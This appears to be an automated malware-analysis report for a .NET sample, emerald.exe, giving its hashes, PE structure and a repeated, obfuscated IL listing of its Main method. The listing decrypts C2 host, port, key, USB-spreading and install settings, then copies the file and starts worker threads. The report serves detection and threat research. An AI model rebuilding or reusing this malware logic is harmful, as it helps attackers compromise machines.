Malicious
Malicious

1cf8cce965f8f2089ce67ef811b29d13

PE Executable
MD5: 1cf8cce965f8f2089ce67ef811b29d13
Size: 96.26 KB
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Medium
MD5 1cf8cce965f8f2089ce67ef811b29d13
Sha1 ca868ac1e4f42282fb74865fc2f9edf38b052e4b
Sha256 d7fea5f6217db6e04f75333a65a46cdfcc523c7f3ddc29cfaecb18cd8876ea98
Sha384 ba0381474471dd1d8b4dc96eef3fab3f7689c272b675a90252deef082b96f5bba7794d41a73dd6b0f976cf6725d86616
Sha512 abae2904798b6defe326991bb680575a259bbb70b40378da973139e28aff35a77674da9ca58015c30e275ae53fdb0b552bace13d073e62392b3343e161fdbd05
SSDeep 1536:1jxl8EVWM96wd2ZeFEVrQuf6YIqwm3K7PLiFJ7pJhROtYpBtphTIlj6EQrw3zbdx:r0and2kE/f6YIqwEAT47pXRmEBtp50jH
TLSH 8A936B8EF7A05959C5AC0AB7CA63514845EAE0E7F167F7FF28C85DE05C2248C868FD90
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
1cf8cce965f8f2089ce67ef811b29d13
Malicious
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
STICH beta Structural Threat Infection Chain Hash

A content-independent fingerprint of the infection method: successive formats, internal objects and MITRE techniques from the initial file to each final payload.

STICH Path = the fingerprint (canonical chain with techniques) STICH Shape = structure only Only determinant branches produce STICH Paths.
Path pe:exe>pe:rsrc>bin
Shape pe:exe>pe:rsrc>bin
malicious 3 nodes
Config. Field Value
family xhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Name Value
Module Name
emerald.exe
Full Name
emerald.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
emerald.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
emerald
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
0
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
435
Main IL 
ldsfld System.Char[] Stub.Uninstaller::Ⴀ
stloc.s V_20
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
ldc.i4 147
ldc.i4 255
call System.Void My.MyComputer/Ⴗ::Ⴓ(System.Int32,System.Char,System.Char)
ldc.i4.0 <null>
stloc.s V_15
ldloc.s V_15
switch dnlib.DotNet.Emit.Instruction[]
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.3 <null>
ldc.i4.s 29
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 492
ldc.i4 498
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::Port
ldc.i4.2 <null>
stloc.s V_15
br.s IL_0024: ldloc.s V_15
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 352
ldc.i4 382
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 800
ldc.i4 830
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::SPL
ldc.i4.3 <null>
stloc.s V_15
br IL_0024: ldloc.s V_15
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 291
ldc.i4 317
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 941
ldc.i4 947
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::USBNM
ldc.i4.7 <null>
stloc.s V_15
br IL_0024: ldloc.s V_15
ldsfld System.String Settings::InstallDir
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 686
ldc.i4 688
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
ldc.i4 923
ldc.i4 969
call System.String Stub.Main::Ⴗ<System.String>(System.String,System.Int32,System.Int16)
stsfld System.String Settings::InstallDir
ldc.i4.4 <null>
stloc.s V_15
br IL_0024: ldloc.s V_15
ldsfld System.String Settings::InstallStr
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 967
ldc.i4 985
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::InstallStr
leave.s IL_0198: ldc.i4.4
dup <null>
ldc.i4 379
ldc.i4 310
call System.Void My.MyComputer/Ⴗ::Ⴈ<System.Exception>(System.Exception,System.Int32,System.Int32)
stloc.3 <null>
ldc.i4.0 <null>
ldc.i4 448
ldc.i4 429
call System.Void My.MyComputer/Ⴗ::Ⴓ(System.Int32,System.Char,System.Char)
ldc.i4 685
ldc.i4 669
call System.Void Stub.Main::Ⴈ(System.Char,System.Int32)
leave.s IL_0198: ldc.i4.4
ldc.i4.4 <null>
stloc.s V_17
ldloc.s V_17
switch dnlib.DotNet.Emit.Instruction[]
call System.Boolean Ⴗ.Ⴃ::Ⴗ()
brtrue.s IL_01CA: ldc.i4.6
ldc.i4.1 <null>
stloc.s V_17
br.s IL_019B: ldloc.s V_17
ldc.i4.6 <null>
br.s IL_01C6: stloc.s V_17
ldc.i4.0 <null>
ldc.i4 307
ldc.i4 350
call System.Void My.MyComputer/Ⴗ::Ⴓ(System.Int32,System.Char,System.Char)
ldsfld System.String Settings::InstallDir
ldc.i4 1647182540
ldc.i4.0 <null>
ldnull <null>
ldc.i4.s 9
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 997
ldc.i4 912
call System.String Stub.AlgorithmAES::Ⴐ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Int16,System.Int16)
stloc.0 <null>
ldc.i4.4 <null>
stloc.s V_19
ldloc.s V_19
switch dnlib.DotNet.Emit.Instruction[]
ldloc.0 <null>
castclass System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
ldc.i4 837
ldc.i4 881
call System.IO.DirectoryInfo Stub.AlgorithmAES::Ⴍ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Int16)
ldc.i4 740
ldc.i4 657
call System.String My.MyApplication::ႰႤ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Int32,System.Int16)
stloc.s V_4
ldc.i4.1 <null>
stloc.s V_19
br.s IL_0208: ldloc.s V_19
ldloc.s V_4
ldc.i4 1011
ldc.i4 1005
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
ldc.i4 573
ldc.i4 554
call System.Boolean My.MyComputer/Ⴗ::ႳႰ<System.String>(System.String,System.Char,System.Int16)
brtrue.s IL_029E: ldc.i4.0
ldloc.s V_20
ldc.i4 173
ldelem.u2 <null>
ldc.i4 64974
sub <null>
stloc.s V_19
br IL_0208: ldloc.s V_19
ldc.i4.0 <null>
br.s IL_0297: stloc.s V_19
ldloc.s V_4
ldc.i4 373
ldc.i4 363
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
ldc.i4 856
ldc.i4 873
call System.IO.DirectoryInfo Stub.AlgorithmAES::ႠႠ<System.String>(System.String,System.Int16,System.Int32)
pop <null>
ldc.i4.0 <null>
stloc.s V_19
br IL_0208: ldloc.s V_19
ldloc.0 <null>
isinst System.String
ldc.i4 375
ldc.i4 353
call System.Boolean My.MyComputer/Ⴗ::ႳႰ<System.String>(System.String,System.Char,System.Int16)
brfalse.s IL_02E9: ldc.i4.3
ldc.i4.7 <null>
stloc.s V_19
br IL_0208: ldloc.s V_19
ldc.i4.3 <null>
br.s IL_02E2: stloc.s V_19
ldloc.0 <null>
castclass System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_5
ldloc.s V_5
castclass System.IO.FileInfo
ldc.i4 972
ldc.i4 956
call System.Void Stub.AlgorithmAES::ႠႷ<System.IO.FileInfo>(System.IO.FileInfo,System.Int32,System.Char)
ldc.i4 1000
ldc.i4 513
ldc.i4 621
call System.Void My.MyComputer/Ⴗ::Ⴓ(System.Int32,System.Char,System.Char)
ldloc.0 <null>
castclass System.String
ldsfld System.String Ⴗ.Ⴃ::Ⴍ
ldc.i4 851
ldc.i4 769
call System.Byte[] Stub.AlgorithmAES::ႠႳ<System.String>(System.String,System.Char,System.Int32)
ldc.i4.s 106
ldc.i4.s 105
call System.Void My.MyComputer::Ⴈ<System.String>(System.String,System.Byte[],System.Int32,System.Int32)
leave.s IL_0365: ldc.i4.3
dup <null>
ldc.i4.s 65
ldc.i4.s 12
call System.Void My.MyComputer/Ⴗ::Ⴈ<System.Exception>(System.Exception,System.Int32,System.Int32)
stloc.s V_6
ldc.i4 186
ldc.i4 138
call System.Void Stub.Main::Ⴈ(System.Char,System.Int32)
leave.s IL_0365: ldc.i4.3
ldc.i4.3 <null>
stloc.s V_22
ldloc.s V_22
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4.7 <null>
ldc.i4.s 31
ldc.i4.s 65
call System.String Stub.Main::ႥႳ(System.Environment/SpecialFolder,System.Int16,System.Int32)
ldc.i4 1647182538
ldc.i4.6 <null>
ldnull <null>
ldc.i4.4 <null>
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 254
ldc.i4 173
call System.String Stub.Main::Ⴗ<System.String>(System.String,System.Int32,System.Int16)
ldc.i4 1647181943
ldc.i4.0 <null>
ldnull <null>
ldc.i4.s 11
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.s 21
ldc.i4.s 108
call System.String Stub.Main::ႥႥ<System.String,System.String,System.String,System.String>(System.String,System.String,System.String,System.String,System.Int32,System.Int16)
stloc.s V_7
ldc.i4.7 <null>
stloc.s V_22
br.s IL_0368: ldloc.s V_22
ldc.i4 1647181947
ldc.i4.3 <null>
ldnull <null>
ldc.i4.s 13
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4 1647181897
ldc.i4.1 <null>
ldnull <null>
ldc.i4.s 15
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4 129
ldc.i4 245
call System.Object Stub.AlgorithmAES::ႠႭ<System.String,System.String>(System.String,System.String,System.Int16,System.Char)
ldnull <null>
ldc.i4 1647181901
ldc.i4.0 <null>
ldnull <null>
ldc.i4.1 <null>
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_9
ldloc.s V_9
isinst System.Object[]
ldc.i4.0 <null>
ldloc.s V_7
isinst System.String
stelem.ref <null>
ldloc.s V_9
castclass System.Object[]
stloc.s V_10
ldloc.s V_10
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
newarr System.Boolean
stloc.s V_11
ldloc.s V_11
castclass System.Boolean[]
ldc.i4.0 <null>
ldc.i4.1 <null>
stelem.i1 <null>
ldloc.s V_11
isinst System.Boolean[]
ldc.i4 920
ldc.i4 914
call System.Object Stub.AlgorithmAES::ႠႤ<System.Type,System.Object,System.String>(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Char,System.Char)
ldloc.s V_11
isinst System.Boolean[]
ldc.i4.0 <null>
ldelem.i1 <null>
brfalse.s IL_04A0: stloc.s V_12
ldloc.s V_10
castclass System.Object[]
ldc.i4.0 <null>
ldelem.ref <null>
ldc.i4 543
ldc.i4 531
call System.Object My.MyComputer/Ⴗ::Ⴄ<System.Object>(System.Object,System.Char,System.Int16)
ldtoken System.String
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type)
castclass System.String
stloc.s V_7
stloc.s V_12
ldloc.s V_12
ldnull <null>
ldc.i4 1647181914
ldc.i4.6 <null>
ldnull <null>
ldc.i4.s 13
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_13
ldloc.s V_13
isinst System.Object[]
ldc.i4.0 <null>
ldloc.0 <null>
isinst System.String
stelem.ref <null>
ldloc.s V_13
castclass System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.5 <null>
stloc.s V_22
br IL_0368: ldloc.s V_22
ldloc.s V_12
ldnull <null>
ldc.i4 1647181869
ldc.i4.2 <null>
ldnull <null>
ldc.i4.8 <null>
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_13
ldloc.s V_13
castclass System.Object[]
ldc.i4.0 <null>
ldc.i4 1647181897
ldc.i4.1 <null>
ldnull <null>
ldc.i4.8 <null>
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
stelem.ref <null>
ldloc.s V_13
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.6 <null>
stloc.s V_22
br IL_0368: ldloc.s V_22
ldloc.s V_12
ldnull <null>
ldc.i4 1647181887
ldc.i4.3 <null>
ldnull <null>
ldc.i4.3 <null>
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldc.i4.4 <null>
stloc.s V_22
br IL_0368: ldloc.s V_22
ldnull <null>
stloc.s V_12
ldloc.s V_7
isinst System.String
ldc.i4.3 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode)
stsfld System.IO.FileStream Ⴗ.Ⴃ::Ⴀ
leave.s IL_0576: ldc.i4.1
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_8
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0576: ldc.i4.1
ldc.i4.1 <null>
stloc.s V_24
ldloc.s V_24
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Ⴗ.Ⴃ::Ⴅ()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldc.i4.6 <null>
stloc.s V_24
br.s IL_0579: ldloc.s V_24
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldloc.1 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldc.i4.5 <null>
stloc.s V_24
br IL_0579: ldloc.s V_24
ldloc.2 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Join()
ret <null>
ldtoken System.Void Stub.Main::Main()
pop <null>
ldsfld System.Char[] Stub.Messages::Ⴈ
ldc.i4 390
ldsfld System.Char[] Stub.Messages::Ⴈ
ldc.i4 390
ldelem.u2 <null>
ldsfld System.Char[] Stub.Messages::Ⴈ
ldc.i4 264
ldelem.u2 <null>
sub <null>
ldc.i4.s 112
and <null>
stelem.i2 <null>
ret <null>
Info
PE Detect: PeReader OK (file layout)
Module Name
emerald.exe
Full Name
emerald.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
emerald.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
emerald
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
0
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
435
Main IL 
ldsfld System.Char[] Stub.Uninstaller::Ⴀ
stloc.s V_20
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
ldc.i4 147
ldc.i4 255
call System.Void My.MyComputer/Ⴗ::Ⴓ(System.Int32,System.Char,System.Char)
ldc.i4.0 <null>
stloc.s V_15
ldloc.s V_15
switch dnlib.DotNet.Emit.Instruction[]
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.3 <null>
ldc.i4.s 29
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 492
ldc.i4 498
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::Port
ldc.i4.2 <null>
stloc.s V_15
br.s IL_0024: ldloc.s V_15
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 352
ldc.i4 382
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 800
ldc.i4 830
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::SPL
ldc.i4.3 <null>
stloc.s V_15
br IL_0024: ldloc.s V_15
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 291
ldc.i4 317
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 941
ldc.i4 947
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::USBNM
ldc.i4.7 <null>
stloc.s V_15
br IL_0024: ldloc.s V_15
ldsfld System.String Settings::InstallDir
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 686
ldc.i4 688
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
ldc.i4 923
ldc.i4 969
call System.String Stub.Main::Ⴗ<System.String>(System.String,System.Int32,System.Int16)
stsfld System.String Settings::InstallDir
ldc.i4.4 <null>
stloc.s V_15
br IL_0024: ldloc.s V_15
ldsfld System.String Settings::InstallStr
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 967
ldc.i4 985
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::InstallStr
leave.s IL_0198: ldc.i4.4
dup <null>
ldc.i4 379
ldc.i4 310
call System.Void My.MyComputer/Ⴗ::Ⴈ<System.Exception>(System.Exception,System.Int32,System.Int32)
stloc.3 <null>
ldc.i4.0 <null>
ldc.i4 448
ldc.i4 429
call System.Void My.MyComputer/Ⴗ::Ⴓ(System.Int32,System.Char,System.Char)
ldc.i4 685
ldc.i4 669
call System.Void Stub.Main::Ⴈ(System.Char,System.Int32)
leave.s IL_0198: ldc.i4.4
ldc.i4.4 <null>
stloc.s V_17
ldloc.s V_17
switch dnlib.DotNet.Emit.Instruction[]
call System.Boolean Ⴗ.Ⴃ::Ⴗ()
brtrue.s IL_01CA: ldc.i4.6
ldc.i4.1 <null>
stloc.s V_17
br.s IL_019B: ldloc.s V_17
ldc.i4.6 <null>
br.s IL_01C6: stloc.s V_17
ldc.i4.0 <null>
ldc.i4 307
ldc.i4 350
call System.Void My.MyComputer/Ⴗ::Ⴓ(System.Int32,System.Char,System.Char)
ldsfld System.String Settings::InstallDir
ldc.i4 1647182540
ldc.i4.0 <null>
ldnull <null>
ldc.i4.s 9
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 997
ldc.i4 912
call System.String Stub.AlgorithmAES::Ⴐ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Int16,System.Int16)
stloc.0 <null>
ldc.i4.4 <null>
stloc.s V_19
ldloc.s V_19
switch dnlib.DotNet.Emit.Instruction[]
ldloc.0 <null>
castclass System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
ldc.i4 837
ldc.i4 881
call System.IO.DirectoryInfo Stub.AlgorithmAES::Ⴍ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Int16)
ldc.i4 740
ldc.i4 657
call System.String My.MyApplication::ႰႤ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Int32,System.Int16)
stloc.s V_4
ldc.i4.1 <null>
stloc.s V_19
br.s IL_0208: ldloc.s V_19
ldloc.s V_4
ldc.i4 1011
ldc.i4 1005
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
ldc.i4 573
ldc.i4 554
call System.Boolean My.MyComputer/Ⴗ::ႳႰ<System.String>(System.String,System.Char,System.Int16)
brtrue.s IL_029E: ldc.i4.0
ldloc.s V_20
ldc.i4 173
ldelem.u2 <null>
ldc.i4 64974
sub <null>
stloc.s V_19
br IL_0208: ldloc.s V_19
ldc.i4.0 <null>
br.s IL_0297: stloc.s V_19
ldloc.s V_4
ldc.i4 373
ldc.i4 363
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
ldc.i4 856
ldc.i4 873
call System.IO.DirectoryInfo Stub.AlgorithmAES::ႠႠ<System.String>(System.String,System.Int16,System.Int32)
pop <null>
ldc.i4.0 <null>
stloc.s V_19
br IL_0208: ldloc.s V_19
ldloc.0 <null>
isinst System.String
ldc.i4 375
ldc.i4 353
call System.Boolean My.MyComputer/Ⴗ::ႳႰ<System.String>(System.String,System.Char,System.Int16)
brfalse.s IL_02E9: ldc.i4.3
ldc.i4.7 <null>
stloc.s V_19
br IL_0208: ldloc.s V_19
ldc.i4.3 <null>
br.s IL_02E2: stloc.s V_19
ldloc.0 <null>
castclass System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_5
ldloc.s V_5
castclass System.IO.FileInfo
ldc.i4 972
ldc.i4 956
call System.Void Stub.AlgorithmAES::ႠႷ<System.IO.FileInfo>(System.IO.FileInfo,System.Int32,System.Char)
ldc.i4 1000
ldc.i4 513
ldc.i4 621
call System.Void My.MyComputer/Ⴗ::Ⴓ(System.Int32,System.Char,System.Char)
ldloc.0 <null>
castclass System.String
ldsfld System.String Ⴗ.Ⴃ::Ⴍ
ldc.i4 851
ldc.i4 769
call System.Byte[] Stub.AlgorithmAES::ႠႳ<System.String>(System.String,System.Char,System.Int32)
ldc.i4.s 106
ldc.i4.s 105
call System.Void My.MyComputer::Ⴈ<System.String>(System.String,System.Byte[],System.Int32,System.Int32)
leave.s IL_0365: ldc.i4.3
dup <null>
ldc.i4.s 65
ldc.i4.s 12
call System.Void My.MyComputer/Ⴗ::Ⴈ<System.Exception>(System.Exception,System.Int32,System.Int32)
stloc.s V_6
ldc.i4 186
ldc.i4 138
call System.Void Stub.Main::Ⴈ(System.Char,System.Int32)
leave.s IL_0365: ldc.i4.3
ldc.i4.3 <null>
stloc.s V_22
ldloc.s V_22
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4.7 <null>
ldc.i4.s 31
ldc.i4.s 65
call System.String Stub.Main::ႥႳ(System.Environment/SpecialFolder,System.Int16,System.Int32)
ldc.i4 1647182538
ldc.i4.6 <null>
ldnull <null>
ldc.i4.4 <null>
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 254
ldc.i4 173
call System.String Stub.Main::Ⴗ<System.String>(System.String,System.Int32,System.Int16)
ldc.i4 1647181943
ldc.i4.0 <null>
ldnull <null>
ldc.i4.s 11
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.s 21
ldc.i4.s 108
call System.String Stub.Main::ႥႥ<System.String,System.String,System.String,System.String>(System.String,System.String,System.String,System.String,System.Int32,System.Int16)
stloc.s V_7
ldc.i4.7 <null>
stloc.s V_22
br.s IL_0368: ldloc.s V_22
ldc.i4 1647181947
ldc.i4.3 <null>
ldnull <null>
ldc.i4.s 13
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4 1647181897
ldc.i4.1 <null>
ldnull <null>
ldc.i4.s 15
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4 129
ldc.i4 245
call System.Object Stub.AlgorithmAES::ႠႭ<System.String,System.String>(System.String,System.String,System.Int16,System.Char)
ldnull <null>
ldc.i4 1647181901
ldc.i4.0 <null>
ldnull <null>
ldc.i4.1 <null>
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_9
ldloc.s V_9
isinst System.Object[]
ldc.i4.0 <null>
ldloc.s V_7
isinst System.String
stelem.ref <null>
ldloc.s V_9
castclass System.Object[]
stloc.s V_10
ldloc.s V_10
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
newarr System.Boolean
stloc.s V_11
ldloc.s V_11
castclass System.Boolean[]
ldc.i4.0 <null>
ldc.i4.1 <null>
stelem.i1 <null>
ldloc.s V_11
isinst System.Boolean[]
ldc.i4 920
ldc.i4 914
call System.Object Stub.AlgorithmAES::ႠႤ<System.Type,System.Object,System.String>(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Char,System.Char)
ldloc.s V_11
isinst System.Boolean[]
ldc.i4.0 <null>
ldelem.i1 <null>
brfalse.s IL_04A0: stloc.s V_12
ldloc.s V_10
castclass System.Object[]
ldc.i4.0 <null>
ldelem.ref <null>
ldc.i4 543
ldc.i4 531
call System.Object My.MyComputer/Ⴗ::Ⴄ<System.Object>(System.Object,System.Char,System.Int16)
ldtoken System.String
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type)
castclass System.String
stloc.s V_7
stloc.s V_12
ldloc.s V_12
ldnull <null>
ldc.i4 1647181914
ldc.i4.6 <null>
ldnull <null>
ldc.i4.s 13
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_13
ldloc.s V_13
isinst System.Object[]
ldc.i4.0 <null>
ldloc.0 <null>
isinst System.String
stelem.ref <null>
ldloc.s V_13
castclass System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.5 <null>
stloc.s V_22
br IL_0368: ldloc.s V_22
ldloc.s V_12
ldnull <null>
ldc.i4 1647181869
ldc.i4.2 <null>
ldnull <null>
ldc.i4.8 <null>
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_13
ldloc.s V_13
castclass System.Object[]
ldc.i4.0 <null>
ldc.i4 1647181897
ldc.i4.1 <null>
ldnull <null>
ldc.i4.8 <null>
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
stelem.ref <null>
ldloc.s V_13
isinst System.Object[]
ldnull <null>
ldnull <null>
